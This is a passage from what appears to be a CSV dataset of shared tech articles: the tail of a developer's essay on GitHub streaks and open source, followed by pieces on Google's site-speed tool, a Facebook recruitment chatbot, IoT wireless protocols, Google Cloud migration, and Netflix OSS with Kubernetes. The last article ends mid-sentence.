now recognized as a discipline. It wasn't always easy, but no discipline is, and I worked at it. Having the support of my friends and family was crucial, and running a business where we were able to construct a healthy relationship between commercial and open source work was also extremely important. If you're going to do something hard, be smart about it, and set it up to be sustainable. Lesson #5 The next year was a bit of a blur. Keystone grew, but I was always humbled when people had heard of it, or liked it. Through this, what developed strongly was a sense of ""building something for good"". I'm not giving my time to work for free, I've just got these ideas to express (in the form of software) that I think will create benefit beyond what I could achieve on my own or for myself. I feel like I'm pretty blessed in life. Some would call it privilege, luck, fortune, whatever. I'm OK with that, because while I can't repay everyone who's ever helped me I can pay it forward and be as generous as possible with time, code or advice. But you know what? it comes back. At the start of 2015 I had the opportunity to go to the first React Conf where I made some excellent friends and started being part of the React Community. By this point, maintaining my streak was pretty much second nature. Almost forgotten, but still a discipline held, and foundational to the way I behave. One of the absolute highlights of 2015 was traveling to Paris for React Europe to talk about React and Mobile Apps. But not just for the conference or the talk. That year I'd become friends with Camille Reynders, a KeystoneJS team member, over many hours spent talking on Slack and working together. But we'd never met, because he lived in Belgium while I'm in Sydney. He and his wife drove down to hang out that weekend, just to spend some time in real life. We sat in cafes on the streets of Paris, watching the Pride Parade go past, eating cheese, drinking beer and hanging out. Starting an Open Source project and dedicating yourself to it can get you some great friends and unique experiences. Lesson #6 Coming into 2016, my wife and I were expecting our first child. I had a frantic start to the year, running a growing business and traveling overseas nearly monthly getting things done before I went seriously into family mode for a while. There was Nodevember - my first major conference talk on KeystoneJS, in Nashville. Then PhoneGap Day US in Utah where I pitched React to what felt like a room full of Angular developers. Then React Conf 2016 in San Francisco in February. At this point, each trip felt like catching up with friends, learning new things and developing ideas with developers I admire and am just flat-out stoked to spend time with in person. To contrast with my first experience open sourcing KeystoneJS to crickets, I've now got packages on npm that get over a million downloads a month, thousands of followers, and something like 15,000 stars across my various personal projects. But more importantly I've been told by several people that I've inspired them to get into open source as well. That's not a small thing, and something I'm really proud of. Because I believe contributing to open source is personal, powerful, and good. These days, it's not uncommon for me to hear feedback that the community around KeystoneJS is supportive, inclusive and inspiring. There are now other people inspiring yet more people around something that I created and imbued with my personal energy and philosophy, and that is just awesome . No other word for it. That is why I do this . Not to mention all the thanks, credit, and opportunities that have come flooding back in return. I do this for me, because I believe in this way of creating value, but having that realized with feedback is powerfully helpful. It's frankly been a lot of work, and sacrifice. But also? Totally worth it. Now, while I've taken personal and private pride in my streak and various other metrics, it's worth making some points. This is personal. It's been good for me. It's not for everyone. There is no judgement if you benefit from a more clear-cut work/life balance. I have no argument to make against those who say the GitHub streak guilts them into working on weekends and they want it gone. There are also downsides to open source that I didn't understand when I started. Guilt is massive and real. When someone submits a PR and I sit on it, I feel terrible for ignoring (or even just apparently ignoring) their work. Their time is valuable and they gave me some of it; in balance, they're implicitly asking for more of mine to review and maintain their suggestion. Sometimes I'm a great maintainer, and respond quickly with helpful feedback or just a ""Merge PR"" click. Other times, I'm not. I've been lucky to have people help me out as well, with vetting, triaging and taking on maintenance roles in various projects. I can't thank those people enough. This morning when I woke up and found out my streak had been removed, it just felt... weird . Not like I was robbed of something, not like I was liberated either. Just a bit empty, a bit numb. All those time I'd thought about it and been encouraged not to, and the choice was taken away from me. How anticlimactic. I don't know if the campaign to remove streaks from GitHub's UI was something I really agree with. I get the arguments, especially from a mental health perspective. Just because I can look back and feel good about my experience, maybe on balance I was an exception. Maybe for every developer who was constructively motivated by it, there was another who was unhealthily punished by it. Addressing health and balance in our (and every) industry is a positive thing, along with equality and inclusion. Clearly it's been good for some people. John Dalton's been on a streak longer than mine and is one of the most inspiring developers I know. John Resig, I think, motivated a great number of developers with his "" Write Code Every Day "" post. As he said: I consider this change in habit to be a massive success and hope to continue it for as long as I can. In the meantime I'll do all that I can to recommend this tactic to others who wish to get substantial side project work done. Having kept it up for nearly a thousand days, I'm OK to stop streak-counting. Maybe I'll keep that graph all green, or maybe some grey will sneak in. It doesn't really matter; after three years, the discipline has done its work, and I'll be the beneficiary of it for the rest of my life. And hey, I was planning to break it sometime anyway. I do wonder, when mechanisms for self discipline and motivation can cut both ways, and then be unilaterally removed (I assume in response to a vocal movement) what the next thing will be for a generation of developers who are just getting started? We humans respond well to pressure, competition and games. It's the very instinct that made the streak such a powerful metric in the first place. I hope something new emerges that doesn't have such a negative downside (the rock → hard place text was always a bit caustic) yet inspires developers to challenge themselves the way the GitHub Streak did.",en
1464951229,CONTENT SHARED,3294713041855207102,7774613525190730745,-732352000520314941,,,,HTML,http://thenextweb.com/google/2016/06/02/google-launches-new-tool-help-test-websites-mobile-friendiless/,Google's new tool helps test your website's speed and mobile-friendliness,"Speed testing services seem to be the new thing tech companies are dabbing into on their free time - just weeks after Netflix launched Fast.com , Google has announced its own tool to help you measure your website's speed and mobile-friendliness. The site takes your URL and measures on a scale of 1-100 your mobile design and loading speed. It looks at things like CSS, HTML, scripts and images to see how long it takes for your website to load on both a desktop and mobile device. Google says an average user leaves the site if it doesn't load on mobile within three seconds, so if your site takes much longer than that, your lower will appear lower. Ironically, it does take more than three seconds for Google's tool to complete the test, but it's worth finding out how your site fares. You can also click a button to see where you've failed specifically to find areas for improvement. ""On average, people check their phones more than 150 times a day, and more searches occur on mobile phones than computers. But if a potential customer is on a phone, and a site isn't easy to use, they're five times more likely to leave,"" Google wrote in a blog post announcing the tool. Interestingly, Google links out to a handful of site builders it evidently approves of to help you make your site mobile-friendly and fast, including services like Wix, Duda, and Weebly . Big ouch for Squarespace and WordPress. Natt Garun is the US Editor at The Next Web, managing the North American team on content, events, features and reviews coverage. She previously wrote for Digital Trends, Business Insider, and Gizmodo. Facebook | Twitter | Google+",en
1464952569,CONTENT SHARED,2546657529517570876,-1443636648652872475,-6631146006024713322,,,,HTML,http://digiday.com/brands/new-facebook-chatbot-help-find-next-job/,A new Facebook chatbot could help you find your next job - Digiday,"Since Facebook Messenger opened its doors to developers in April, brands and publishers have unleashed a small army of chatbots. But a new bot lets companies do more than chat to the app's 900 million users: It can hire them. Job Pal, a kind of Tinder for jobs, asks applicants on Facebook a series of questions about what they're looking for and where. After being presented with a selection of matches, they can apply by following a link. ""Everything in the recruitment process, from a job ad to a cover letter to an interview, is conversational. So it lends itself perfectly to a chatbot,"" said Luc Dudler, the founder of Job Pal. Advertisement The team of five, based in Berlin, have signed up 1,000 companies to the service including Uber, Hailo, PayPal and Citymapper, drawing in job listings from around the web. So far 50,000 people have opened the bot, but only a few hundred have actually applied for positions. ""With HR there's a mismatch between where candidates are looking for jobs and where they spend their digital life,"" said Paul Gebhardt, CEO of food delivery company GreenGurus. His company has received around 10 applicants from Job Pal. Two have made it down to the final round for sales and marketing positions. ""The technology is getting better and better at interpreting text. Whether you order food or hire a candidate, it's more natural to ask them automated questions in a chat,"" he added. A recruitment bot is also helpful in that HR managers have to manage multiple profiles across numerous apps and job sites, Gebhardt noted. If an app could unlock even a slither of Facebook's reach, it could broaden this funnel enough to make other platforms redundant. For Dudler, it's also a way to cut out the middlemen: While the service is free, companies pay around $4 per lead. While the chatbot is currently very basic, updates in the coming months will see it apply natural language processing. This means it will be able to hold a conversation with candidates and deliver follow up questions specific to each job. Of course, bots don't yet have the human touch. ""Speaking one on one you can tease things out from people, I don't think a chatbot will ever be able to do that,"" said Jo Allison from consultancy Canvas8. ""If brands are starting to chat as people, the interactions need to be as near to perfect as possible,"" Allison added. Following Facebook's decision to open up its messenger platform, developers have chatbots in the works. Early success stories include the Call of Duty bot, which saw six million messages in its first week. (There have also been chatbot failures. While not a affiliated with Facebook Messenger, Microsoft saw its own bot notoriously hacked and turned into a racist monster earlier this year.) Daniel Price from agency Lost Boys sees the platform as a way to unite services under a frictionless user experience. While e-commerce is already making big strides with chatbots from H&M and Sephora, recruitment wasn't on his radar. ""It sounds a bit like a gimmick to me. But it's the same with all these things, the gimmick today becomes normal quite quickly,"" he said. Tom Ollerton, marketing and innovation director at We Are Social, said that bots were a natural fit for recruitment. He envisions a future where savvy grads are writing their resumes to respond to these algorithms. ""In the inevitable future of bots in recruitment, they'll act as personal avatars. Businesses and people will have AI versions of themselves,"" he said. But that's still far off. The road to chatbot will be paved with eggy faces, particularly from brands. """,en
1464953944,CONTENT SHARED,-3723217532224917485,-8132559109129514792,-5261597004215022082,,,,HTML,http://www.rs-online.com/designspark/electronics/knowledge-item/eleven-internet-of-things-iot-protocols-you-need-to-know-about,11 Internet of Things (IoT) Protocols You Need to Know About,"There exists an almost bewildering choice of connectivity options for electronics engineers and application developers working on products and systems for the Internet of Things (IoT). Many communication technologies are well known such as WiFi, Bluetooth, ZigBee and 2G/3G/4G cellular, but there are also several new emerging networking options such as Thread as an alternative for home automation applications, and Whitespace TV technologies being implemented in major cities for wider area IoT-based use cases. Depending on the application, factors such as range, data requirements, security and power demands and battery life will dictate the choice of one or some form of combination of technologies. These are some of the major communication technologies on offer to developers. Bluetooth An important short-range communications technology is of course Bluetooth, which has become very important in computing and many consumer product markets. It is expected to be key for wearable products in particular, again connecting to the IoT albeit probably via a smartphone in many cases. The new Bluetooth Low-Energy (BLE) - or Bluetooth Smart, as it is now branded - is a significant protocol for IoT applications. Importantly, while it offers similar range to Bluetooth it has been designed to offer significantly reduced power consumption. However, Smart/BLE is not really designed for file transfer and is more suitable for small chunks of data. It has a major advantage certainly in a more personal device context over many competing technologies given its widespread integration in smartphones and many other mobile devices. According to the Bluetooth SIG, more than 90 percent of Bluetooth-enabled smartphones, including iOS, Android and Windows based models, are expected to be 'Smart Ready' by 2018. Devices that employ Bluetooth Smart features incorporate the Bluetooth Core Specification Version 4.0 (or higher - the latest is version 4.2 announced in late 2014) with a combined basic-data-rate and low-energy core configuration for a RF transceiver, baseband and protocol stack. Importantly, version 4.2 via its Internet Protocol Support Profile will allow Bluetooth Smart sensors to access the Internet directly via 6LoWPAN connectivity (more on this below). This IP connectivity makes it possible to use existing IP infrastructure to manage Bluetooth Smart 'edge' devices. More information on Bluetooth 4.2 is available here and a wide range of Bluetooth modules are available from RS. Zigbee ZigBee, like Bluetooth, has a large installed base of operation, although perhaps traditionally more in industrial settings. ZigBee PRO and ZigBee Remote Control (RF4CE), among other available ZigBee profiles, are based on the IEEE802.15.4 protocol, which is an industry-standard wireless networking technology operating at 2.4GHz targeting applications that require relatively infrequent data exchanges at low data-rates over a restricted area and within a 100m range such as in a home or building. ZigBee/RF4CE has some significant advantages in complex systems offering low-power operation, high security, robustness and high scalability with high node counts and is well positioned to take advantage of wireless control and sensor networks in M2M and IoT applications. The latest version of ZigBee is the recently launched 3.0, which is essentially the unification of the various ZigBee wireless standards into a single standard. An example product and kit for ZigBee development are TI's CC2538SF53RTQT ZigBee System-On-Chip IC and CC2538 ZigBee Development Kit . Z-Wave Z-Wave is a low-power RF communications technology that is primarily designed for home automation for products such as lamp controllers and sensors among many others. Optimized for reliable and low-latency communication of small data packets with data rates up to 100kbit/s, it operates in the sub-1GHz band and is impervious to interference from WiFi and other wireless technologies in the 2.4-GHz range such as Bluetooth or ZigBee. It supports full mesh networks without the need for a coordinator node and is very scalable, enabling control of up to 232 devices. Z-Wave uses a simpler protocol than some others, which can enable faster and simpler development, but the only maker of chips is Sigma Designs compared to multiple sources for other wireless technologies such as ZigBee and others. Standard: Z-Wave Alliance ZAD12837 / ITU-T G.9959 Frequency: 900MHz (ISM) Range: 30m Data Rates: 9.6/40/100kbit/s 6LowPAN A key IP (Internet Protocol)-based technology is 6LowPAN (IPv6 Low-power wireless Personal Area Network). Rather than being an IoT application protocols technology like Bluetooth or ZigBee, 6LowPAN is a network protocol that defines encapsulation and header compression mechanisms. The standard has the freedom of frequency band and physical layer and can also be used across multiple communications platforms, including Ethernet, Wi-Fi, 802.15.4 and sub-1GHz ISM. A key attribute is the IPv6 (Internet Protocol version 6) stack, which has been a very important introduction in recent years to enable the IoT. IPv6 is the successor to IPv4 and offers approximately 5 x 10 28 addresses for every person in the world, enabling any embedded object or device in the world to have its own unique IP address and connect to the Internet. Especially designed for home or building automation, for example, IPv6 provides a basic transport mechanism to produce complex control systems and to communicate with devices in a cost-effective manner via a low-power wireless network. Designed to send IPv6 packets over IEEE802.15.4-based networks and implementing open IP standards including TCP, UDP, HTTP, COAP, MQTT, and websockets, the standard offers end-to-end addressable nodes, allowing a router to connect the network to IP. 6LowPAN is a mesh network that is robust, scalable and self-healing. Mesh router devices can route data destined for other devices, while hosts are able to sleep for long periods of time. An explanation of 6LowPAN is available here , courtesy of TI. Thread A very new IP-based IPv6 networking protocol aimed at the home automation environment is Thread. Based on 6LowPAN, and also like it, it is not an IoT applications protocol like Bluetooth or ZigBee. However, from an application point of view, it is primarily designed as a complement to WiFi as it recognises that while WiFi is good for many consumer devices that it has limitations for use in a home automation setup. Launched in mid-2014 by the Thread Group , the royalty-free protocol is based on various standards including IEEE802.15.4 (as the wireless air-interface protocol), IPv6 and 6LoWPAN, and offers a resilient IP-based solution for the IoT. Designed to work on existing IEEE802.15.4 wireless silicon from chip vendors such as Freescale and Silicon Labs, Thread supports a mesh network using IEEE802.15.4 radio transceivers and is capable of handling up to 250 nodes with high levels of authentication and encryption. A relatively simple software upgrade should allow users to run thread on existing IEEE802.15.4-enabled devices. WiFi WiFi connectivity is often an obvious choice for many developers, especially given the pervasiveness of WiFi within the home environment within LANs. It requires little further explanation except to state the obvious that clearly there is a wide existing infrastructure as well as offering fast data transfer and the ability to handle high quantities of data. Currently, the most common WiFi standard used in homes and many businesses is 802.11n, which offers serious throughput in the range of hundreds of megabit per second, which is fine for file transfers, but may be too power-consuming for many IoT applications. A series of RF development kits designed for building WiFi-based applications are available from RS. Standard: Based on 802.11n (most common usage in homes today) Frequencies: 2.4GHz and 5GHz bands Range: Approximately 50m Data Rates: 600 Mbps maximum, but 150-200Mbps is more typical, depending on channel frequency used and number of antennas (latest 802.11-ac standard should offer 500Mbps to 1Gbps) Cellular < Any IoT application that requires operation over longer distances can take advantage of GSM/3G/4G cellular communication capabilities. While cellular is clearly capable of sending high quantities of data, especially for 4G, the expense and also power consumption will be too high for many applications, but it can be ideal for sensor-based low-bandwidth-data projects that will send very low amounts of data over the Internet. A key product in this area is the SparqEE range of products, including the original tiny CELLv1.0 low-cost development board and a series of shield connecting boards for use with the Raspberry Pi and Arduino platforms. Standard: GSM/GPRS/EDGE (2G), UMTS/HSPA (3G), LTE (4G) Frequencies: 900/1800/1900/2100MHz Range: 35km max for GSM; 200km max for HSPA Data Rates (typical download): 35-170kps (GPRS), 120-384kbps (EDGE), 384Kbps-2Mbps (UMTS), 600kbps-10Mbps (HSPA), 3-10Mbps (LTE) NFC NFC (Near Field Communication) is a technology that enables simple and safe two-way interactions between electronic devices, and especially applicable for smartphones, allowing consumers to perform contactless payment transactions, access digital content and connect electronic devices. Essentially it extends the capability of contactless card technology and enables devices to share information at a distance that is less than 4cm. Further information is available here . Sigfox An alternative wide-range technology is Sigfox , which in terms of range comes between WiFi and cellular. It uses the ISM bands, which are free to use without the need to acquire licenses, to transmit data over a very narrow spectrum to and from connected objects. The idea for Sigfox is that for many M2M applications that run on a small battery and only require low levels of data transfer, then WiFi's range is too short while cellular is too expensive and also consumes too much power. Sigfox uses a technology called Ultra Narrow Band (UNB) and is only designed to handle low data-transfer speeds of 10 to 1,000 bits per second. It consumes only 50 microwatts compared to 5000 microwatts for cellular communication, or can deliver a typical stand-by time 20 years with a 2.5Ah battery while it is only 0.2 years for cellular. Already deployed in tens of thousands of connected objects, the network is currently being rolled out in major cities across Europe, including ten cities in the UK for example. The network offers a robust, power-efficient and scalable network that can communicate with millions of battery-operated devices across areas of several square kilometres, making it suitable for various M2M applications that are expected to include smart meters, patient monitors, security devices, street lighting and environmental sensors. The Sigfox system uses silicon such as the EZRadioPro wireless transceivers from Silicon Labs, which deliver industry-leading wireless performance, extended range and ultra-low power consumption for wireless networking applications operating in the sub-1GHz band. Standard: Sigfox Frequency: 900MHz Range: 30-50km (rural environments), 3-10km (urban environments) Data Rates: 10-1000bps Neul Similar in concept to Sigfox and operating in the sub-1GHz band, Neul leverages very small slices of the TV White Space spectrum to deliver high scalability, high coverage, low power and low-cost wireless networks. Systems are based on the Iceni chip, which communicates using the white space radio to access the high-quality UHF spectrum, now available due to the analogue to digital TV transition. The communications technology is called Weightless, which is a new wide-area wireless networking technology designed for the IoT that largely competes against existing GPRS, 3G, CDMA and LTE WAN solutions. Data rates can be anything from a few bits per second up to 100kbps over the same single link; and devices can consume as little as 20 to 30mA from 2xAA batteries, meaning 10 to 15 years in the field. LoRaWAN Again, similar in some respects to Sigfox and Neul, LoRaWAN targets wide-area network (WAN) applications and is designed to provide low-power WANs with features specifically needed to support low-cost mobile secure bi-directional communication in IoT, M2M and smart city and industrial applications. Optimized for low-power consumption and supporting large networks with millions and millions of devices, data rates range from 0.3 kbps to 50 kbps. More about the Internet of Things in our IOT Design Centre Follow Like this Leave a comment",en
1464958738,CONTENT SHARED,4195778828921942020,3891637997717104548,5352888535472444578,,,,HTML,https://cloudplatform.googleblog.com/2016/06/the-five-phases-of-migrating-to-Google-Cloud-Platform.html,The five phases of migrating to Google Cloud Platform,"Migrating to Google Cloud Platform isn't hard per se, but there's a lot to think about. And thankfully, it doesn't need to happen all at once. In his presentation, ""Getting to the Cloud with Google Cloud Platform: A Sequential Approach"" Google Cloud Solutions Architect Peter-Mark Verwoerd lays out a five-step plan to migrate workloads from an on-premises environment to GCP. It's worth watching the webcast in its entirety, but until then, here are the high notes. Phase One: Assess Before you move a single bit, take stock of your applications and how suitable they are for the cloud. Things to think about include (but are not limited to) hardware and performance requirements, users, licensing, compliance needs and application dependencies. Generally speaking, apps fall into one of three buckets: Easy to Move, Hard to Move, and Can't Move. In our experience, applications that most often fall into the Easy to Move bucket are greenfield apps (no surprise there), test and dev and Q&A. Internal web apps and batch processing applications are also good cloud candidates, because they can scale horizontally rather than vertically. Phase Two: Pilot This is the point where you take one or two applications, and try moving them. Learn about Cloud Platform and its design patterns, take the time to validate performance, consider your licensing options and establish how to perform a rollback. Don't skip this step, and don't be tempted to try and migrate too many apps all at once! Phase Three: Move Data Some people will tell you to move your applications first, then move your data, but we beg to differ. Most applications have a lot of data with a lot of dependencies. Properly moving data to the cloud sets the stage for a successful application migration later on. This is also the time to consider your various cloud storage options - regular Google Cloud Storage or Nearline ? Local SSDs or persistent disks ? Google Cloud SQL , Datastore or Bigtable ? You should also think about how you're going to move all that data - via batch data transfers, offline disk imports, with database dumps, or streaming to persistent disks? There are lots of things to consider here. Phase Four: Move Applications Now that your data is in the cloud, you're ready to move the actual apps. Here too, there are decisions to make. We recommend keeping things simple, and doing the minimum necessary to get the application up and running in the cloud, for example doing a straight lift-and-shift. Or perhaps you can get an app into the cloud by way of backing it up there? That way, in the event of an outage, there's a full copy of your environment in GCP waiting to take over. Phase Five: Optimize This is where the fun begins. Once an application and its data have been migrated to GCP, you can start thinking about all the cool ways to make it better. For example, this might be a time to add redundancy in the form of availability zones, elasticity with autoscaling groups, or enhanced monitoring with Stackdriver . You might want to offload static assets off of your application tier into Cloud Storage, or decouple tiers by using Pub/Sub . Google's Deployment Manager can make it easier to launch and scale new instances, and copying your configuration into a second region can insulate you from a regional outage. See? That wasn't so bad. In the meantime, if you'd like to turbocharge your VM migration process, we also have systems integration partners that are cloud migration and GCP experts and would be happy to assist you. You can find more resources on migrating to GCP, including a list of certifed partners, at . Here's the webinar once again, for a more detailed step-by-step guide.",en
1464959729,CONTENT SHARED,3598164602856140626,7645894863578715801,7699833899292651472,,,,HTML,http://blog.christianposta.com/microservices/netflix-oss-or-kubernetes-how-about-both/,"Netflix OSS, Spring Cloud, or Kubernetes? How About All of Them!","Some of this I cover in my book ""Microservices for Java Developers"" O'Reilly June 2016 (launching soon!), but I want to give a more specific treatment of it here. I get questions from folks about NetflixOSS (it's awesome) and how it might run in Kubernetes (it's awesome too!) and where the overlap is for some of the components. Let me try to explain some of it. Netflix OSS is a set of frameworks and libraries that Netflix wrote to solve some interesting distributed-systems problems at scale. Today, for Java developers, it's pretty synonymous with developing microservices in a cloud environment . Patterns for service discovery , load balancing , fault-tolerance , etc are incredibly important concepts for scalable distributed systems and Netflix brings nice solutions for these. A quick ""thank-you"" as well that Netflix decided to contribute to the broader open-source community with these libraries and frameworks. Other internet companies do this as well, so thank you. Some other large internet companies patent their findings and keep them closed source. And that's just too bad. Anyway, a lot of Netflix OSS was written at a time where things ran on an AWS cloud and there were no alternatives. A lot of assumptions about this heritage are baked into the Netflix libraries that may no longer apply based on where you're running (ie linux containers, etc) today. With the emergence of linux containers , Docker , container management systems , etc we're starting to see a lot of value running our microservices in linux containers (in a cloud, in a private cloud, both, etc). Additionally, because containers are basically opaque packaging of services, we tend not to care as much about what technology is really running inside them (is it Java? is it Node.js? is it Go?). Netflix OSS is for Java developers mostly. They're sets of libraries/frameworks/configurations that need to be included in your Java application/service code. So that brings us to point #1. Microservices can be implemented in a variety of frameworks/languages but things like service discovery, load balancing, fault-tolerance, etc are still quite important. If we run these services in containers, we can take advantage of powerful language-agnostic infrastructure to do things like builds , packaging , deployments , health checks , rolling upgrades , blue-green deployments , security , and other things. For example, OpenShift which is a flavor of Kubernetes built with enterprises in mind, does all of these things for you: there's nothing you have to force into the application layer that is aware or cares about these things. Keep your apps and services simple and focused on what they're supposed to do. So can the infrastructure help out with service discovery, load balancing and fault tolerance also? Why should this be an application-level thing? If you use Kubernetes (or some variant), the answer is: yes. Service discovery the Kubernetes way With Netflix OSS you typically need to set up a service-discovery server that acts as a registry of endpoints that can be discovered with various clients. For example, maybe you use Netflix Ribbon to communicate with other services and need to discover where they are running. Services can be taken down, they can die of their own volition, or we can add more services to a cluster to help scale up. This central service-discovery registry basically keeps track of what services are available in the cluster. One of the problems: you as a developer need to do these things: decide do I want a AP system ( consul , eureka , etc) or an CP system ( zookeeper , etcd , etc) figure out how to run, manage, and monitor these systems at scale (which is no trivial pet project) Moreover, you need to find clients for the programming language you use that can understand how to speak to the service-discovery mechanism. As we've already said, microservices can be implemented in many different types of languages, so a perfectly fine Java client may be available, but if a Go or NodeJS client doesn't exist, you have to write it yourself. Each permutation of language and developer may end up with their own idea of how to implement this kind of client and now you're stuck maintaining multiple clients that try to do the same thing but in possibly semantically different ways. Or maybe each language uses its own service discovery server and has it's own out-of-the box clients? So now you manage and maintain infrastructure for service discovery servers per language type? Either way... Yuck. What if we just use DNS? Well, that solves our client-library problem right? DNS is baked into any system that uses TCP/UDP and is readily available whether you deploy on premise, cloud, containers, Windows, Solaris, etc, everywhere. Your clients just point to a domain name (ie, and the infrastructure knows how to route to services that DNS points to (can either be a VIP with load balancer or round-robin DNS, etc). Yay! now we don't have to figure out what client I need to use to discover a service, I just use whatever TCP client I want. I also don't have to figure out how to manage a DNS cluster, it's baked into network routers and is pretty well understood. Maybe DNS sucks for elastic discovery The drawback: DNS kinda sucks for elastic, dynamic clusters of services. What happens when services are added to your cluster? Or taken away? The IP addresses for the services may be cached in DNS servers/routers (even some you don't own) and even your own IP stack. What if your services/applications are listening on non-port-80 ports? DNS was made with standard ports like port 80 in mind. To use non-standard ports with DNS, you could use DNS SRV records but then you're back to needing special clients at the application layer to discover these entries. Kubernetes Services Let's just use Kubernetes . We're gonna run things in Docker /linux containers containers anyway and Kubernetes is the best place to run your Docker containers. Or Rocket containers . Or Hyper.sh ""containers"" . (Note, I'm a sucker for technology, and even more so technology that appears ""simple""... because you cannot build complex systems with complex parts. You want simple parts. But making simple parts is in-itself complex. What Google and Red Hat have done with Kubernetes to simplify distributed systems deployment/management/etc is simply awesome to me :) ) With Kubernetes we just create and use Kubernetes Services and we're done! We don't have to waste time setting up a discovery server, writing custom clients, screwing with DNS, etc. It just works and we move on to the next part of our microservice that provides business value. So how does it work? Here are the simple abstractions that Kubernetes brings to the table to enable this: Pods are simple. They're basically your linux containers. Labels are simple. They're basically key-value strings that you can use to label your pods (eg, Pod A has labels app=cassandra , tier=backend , version=1.0 , language=java ). These labels can be anything your heart desires. The last concept is Services . Also simple. A service is a fixed cluster IP address . This IP address is a virtual IP address that can be used to discover/call the actual endpoints in your Pods/containers. How does this IP address know which pods/containers are eligible to be discovered? It uses a _Label Selector__ that picks pods that have labels that you define. For example, let's say we want a Kubernetes Service with a selector of ""app=cassandra AND tier=backend"". This would give me a service with a virtual IP that discovers any pods that match that label (have both app=cassandra AND tier=backend). This selector is actively evaluated so that any pods that leave the cluster or any pods that join the cluster (based on what labels they have) will automatically start to participate in the service discovery. Another added benefit of using Kubernetes Services for selecting pods that belog to a service is that Kubernetes is smart about which pods belong to a service with respect to its liveness and health. Kubernetes can use built-in liveness and health checking to determine whether or not a pod should be included in the cluster of pods for a specific service based on whether or not it's alive and/or functioning properly. It can evict those that are not. Note an instance of a Kubernetes Service is not a ""thing"" or an appliance or a docker container or anything..it's a virtual ""thing""... so there are no single points of failure. It's an IP address that gets routed by Kubernetes. This is incredibly powerful and simple for developers. Now an application that wishes to use a Cassandra backend just uses this one fixed IP address to talk to the Cassandra databases. But hard-coding a fixed IP is usually not a good idea because what if you want to move your app/service to a different environment (ie, QA, PROD, etc). Now you have to change that IP (or inject some configuration) and now you've added to your configuration burden. So let's just use DNS :) Using cluster DNS within Kubernetes is the right answer. Since the IP is fixed for a given environment (Dev, QA, etc) we don't care about caching it: it'll never change. Now if we use DNS, our app can be configured to talk to services at and even when we move from Dev to QA to Prod, insofar we have those Kubernetes Services in each environment, our app doesn't need to change. See the above image for a visual We don't need additional configuration, we don't need to worry about DNS caching/SRV records, custom library clients and managing additional service-discovery infrastructure. Pods can now be added to the cluster (or taken out of the cluster) and the Kubernetes Service's label-selector will actively group the cluster based on the labels. Your app just talks to whether you're a Java app, Python, Node.js, Perl, Go, .NET, Ruby, C++, Scala, Groovy, whatever. This service discovery mechanism doesn't impose specific clients. Just use it. Service discovery just got a lot easier. What about client-side load balancing? This one is interesting. Netflix wrote Eureka and Ribbon and with those combinations you can enable client-side load balancing. Basically what happens is the service registry (Eureka/Consul/Zookeeper/etc) is keeping track of what services exist in a cluster AND sending that data to clients that are interested in this. Then, since the client has information about what nodes are in the cluster, it can pick one (randomly, sticky, or some custom algorithm) and then call it. On it's next call, it can pick a different service in the cluster if it so desires. The advantages here are we don't need physical/soft loadbalancers which could quickly become a bottleneck. Another important aspect: since the client knows where the service is, the client can contact the service provider directly without additional hops. IMHO client-side load balancing is the 5% use case. Let me explain. What we want is a way to do scalable load-balancing ideally without any additional appliances and client libraries. In most cases we probably don't care about the extra hop with a load balancer in the middle (think about it.. probably 99% of your apps are probably deployed this way right now). We could get into a situation where a call to service A calls service B which calls service C, and D, and E, and you get the picture. In this case if each one took an extra hop we'd incur lots of additional latency. So a possible solution could be ""remove the extra hops"".. and it is... but not just in the hops to load balancers: in the number of calls you have to make to downstream services :) Follow my blog on event-driven systems and the discussion around Autonomy vs Authority to see where I'm going with that :) Using Kubernetes Services as we did in the Service Discovery section above, we accomplish proper load balancing (again, without all of the overhead of the service registries, custom clients, DNS drawbacks, etc). When we interact with a Kubernetes Service via its DNS (or IP), Kubernetes will by default load balance across the pods in the cluster (remember, the cluster is defined by the labels and label selectors). If you don't want the extra hops in the load balancing, no worries; this virtual IP is routed directly to the Pods, it does not hit a physical network Yay! Easy for the 95% use case. And chances are, you're in the 95% distribution of use cases, so don't need to over-engineer things. Keep it simple. What about that 5% case? You may have a case where you have to make some business decision at runtime about which exact backend endpoint within a cluster you really want to call. Basically you want to use some custom algorithm that's more complicated than just ""round robin"", ""random"", ""sticky-session"" and is specific to your application. Use client-side load balancing for that. In this model, you can still leverage Kubernetes' service discovery to find out which pods are in the cluster and then use your own code to decide which pod to call directly (based on labels, etc). The Kubeflix project from the fabric8.io community has discovery plugins for using Ribbon , for example, to get a list of all the pods for a service from the Kubernetes REST API and then let users use Java code to make business decisions about which pod to call . The same thing can be done for other languages and just use the Kubernetes REST API to query the pods, etc. For these use-cases it can make sense to invest in client-specific discovery libraries. Even more appropriate is to break this custom logic into its own module so its dependencies are separate from the application. With Kubernetes, you can deploy this separate module as a sidecar to your application/service and keep the custom load balancing logic there. Again, IMHO, this is the 5% use case and comes with additional complexity. For the 95% use case, just use what's built in without any fancy language-specific clients. What about fault-tolerance? Systems with dependencies should always be built with promises in mind . This means, they should always be aware of what they're obligation is even when dependent systems are not available or crash. Should we ask Kubernetes what it has in the way of fault tolerance? Well, Kubernetes does have self-healing capabilities. If a pod or container within a pod goes down, Kubernetes can bring it back up to maintain its ReplicaSet invariants (basically, if you tell Kubernetes I want 10 pods of ""foo"" it will always try to maintain that state, even if pods go down; it will bring them back upt to maintain its replica count, in this case, 10). Self-healing infrastructure is awesome, and comes out of the box with Kubernetes, but what we're interested in for this discussions is what happens to an application when its dependencies (database, other services, etc) go down? Well, it's really up to the application to figure out how it deals with that. For example, at Netflix if you try to watch a particular movie a service call is made to a ""authorizations"" service that knows what privileges you have for watching movies. If that service goes down should we block the user from watching that movie? Should we show exception stack traces? The netflix approach is to just let the user watch the movie. It's better to let a subscriber watch a movie that they're not entitled to every once in a while during a service dependency error than just blow up or say ""no"" when maybe they do have entitlements to that movie. What we want is a way to gracefully degrade or look for alternative methods for keeping our promise about the contract of a service. Netflix Hystrix is a great solution for Java developers. Netflix Hystrix implements a way to do ""bulkheading"" , ""circuit breaking"" , and ""fallbacks"" . Each of these are application-specific impementations, so it's justified to have specific client libraries for different languages in this case. Can Kubernetes help with this at all? Yes! Again, looking at the awesome Kubeflix project, you can use the Netflix Turbine project to aggregate and visualize all of the circuit breakers running in your cluster. Hystrix can expose Server Side Events as a stream that can be consumed by Turbine. But how does Turbine discover which pods have hystrix in them? Great question :) We can use Kubernetes labels for this. If we label our pods that use Hystrix with hystrix.enabled=true then the Kubeflix Turbine engine can automatically discover the SSE streams for each hystrix circuit breaker and display them on the Turbine web page. Thank you Kubernetes! Credit to Joseph 